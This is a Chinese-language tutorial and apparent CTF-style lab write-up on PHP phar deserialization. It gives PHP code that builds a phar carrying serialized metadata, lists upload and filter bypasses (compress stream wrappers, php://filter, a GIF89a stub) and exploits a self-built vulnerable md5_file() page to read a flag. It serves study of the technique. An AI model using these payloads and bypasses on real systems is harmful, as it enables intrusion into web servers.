phar反序列化
什么是phar
Phar是将php文件打包而成的一种压缩文档,类似于Java中的jar包。它有一个特性就是phar文件会以序列化的形式储存用户自定义的meta-data。当没有unserilize()函数来反序列化攻击时,可以试试利用phar来进行反序列化漏洞的攻击,配合phar://协议使用。
phar文件结构
phar文件有大致分四部分
1.a stub是一个文件标志,格式为 :xxx<?php xxx;__HALT_COMPILER();?>。作用就是标志这是phar文件
2.manifest是被压缩的文件的属性等放在这里,这部分是以序列化存储的。我们构造的类就放在这里,他会自动进行序列化,用phar://协议读取时会自动反序列化。我们的攻击就利用的这部分
3.contents是被压缩的内容。随便放点文件进去即可
4.signature签名,放在文件末尾。
phar文件的生成
<?php
class test{
}
$phar=new phar('test.phar');//后缀名为phar,生成phar后我们可以手动更改文件后缀,但是这里必须是phar
$phar->startBuffering();//开始构造
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub,也就是文件头(必须大写,不能小写)
$obj=new test();//创建类
$phar->setMetadata($obj);//自定义的meta-data存入manifest,也就是将类存进去,此时自动为你序列化
$phar->addFromString("flag.txt","flag");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();//结束
?>
当没有unserilize()函数但是有对文件操作的函数时可以使用phar进行反序列化
漏洞利用条件
1.phar可以上传到服务器端(存在文件上传)
2.有可用的魔术方法作为“跳板”。
3.有文件操作函数
4.文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
碰到这些函数可以考虑phar

绕过方式
当环境限制了phar不能出现在前面的字符里。可以使用流或协议来绕过
压缩流:
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php伪协议:
php://filter/read=convert.base64-encode/resource=phar://phar.phar
gif头验证:
1、$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub
2、生成一个phar.phar,修改后缀名为phar.gif
例题
找题目分析起来太费事了,自己用phpstudy做个最最简单的题,明白大概流程
本地写入如下内容
<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
public function __destruct(){
include('flag.php');
echo $flag;
}
}
$filename=$_GET['file'];
if(isset($filename)){
echo md5_file($filename);
}
?>
浏览器正常运行

看到md5_file函数对文件进行操作,我们利用phar,先运行如下代码生成phar文件
<?php
class test{
}
$phar=new phar('test.phar');//后缀名为phar,生成phar后我们可以手动更改文件后缀,但是这里必须是phar
$phar->startBuffering();//开始构造
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub,也就是文件头(必须大写,不能小写)
$obj=new test();//创建类
$phar->setMetadata($obj);//自定义的meta-data存入manifest,也就是将类存进去,此时自动为你序列化
$phar->addFromString("flag.txt","flag");//添加要压缩的文件,随便写即可,主要是有文件才能够生成签名
//签名自动计算
$phar->stopBuffering();//结束
?>
将其上传到文件目录

可以检查一下我们生成的文件,有文件头,有序列化内容,没错了

直接利用phar://伪协议读取

成功进行反序列化攻击拿到flag。
流程大概就是这样,构造pop链然后写入phar文件中,如果对文件后缀有检查可以更改。phar协议和zip协议的特性,不用管后缀是什么,都可以进行phar协议读取。因为metadata部分是序列化内容,所以Phar协议会进行反序列化来读取。所以触发了反序列化漏洞。

